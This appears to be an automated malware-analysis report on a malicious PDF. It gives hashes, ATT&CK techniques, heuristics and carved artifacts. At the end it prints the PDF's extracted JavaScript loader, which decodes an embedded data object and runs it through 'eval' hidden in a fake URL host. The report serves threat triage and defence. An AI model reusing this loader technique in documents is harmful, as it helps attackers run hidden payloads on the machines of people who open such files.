PDF malware analysis — malicious · 1cf2671ba10c19dc

MALICIOUS

PDF

4.5 KB First seen: 2026-05-09

MD5: a3cef2e4f58a76b0b2794527c065fce5 SHA-1: 73004868da292faae2180a37ac0a85330081bfac SHA-256: 1cf2671ba10c19dcfa135518b5589574f31fff07375e09454b75ba0284031a78

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file exhibits multiple suspicious characteristics, including embedded JavaScript and an embedded binary file. The ML classifier strongly indicates maliciousness. The embedded JavaScript stream and the embedded file are the primary indicators of malicious intent, likely serving to download and execute a secondary payload or exploit a vulnerability.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x429	78234 bytes
SHA-256: `062f38f117e2ebb7404f7d48b300281212a8ec04475b57768ee9f70f71102365`
Detection ClamAV: No threats found Obfuscation or payload: likely 267 of 267 identifiers look randomly generated (e.g. 'VcXSJlQo0ITduq811VcXSJlQo0ITduq812VcXSJl') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1F1	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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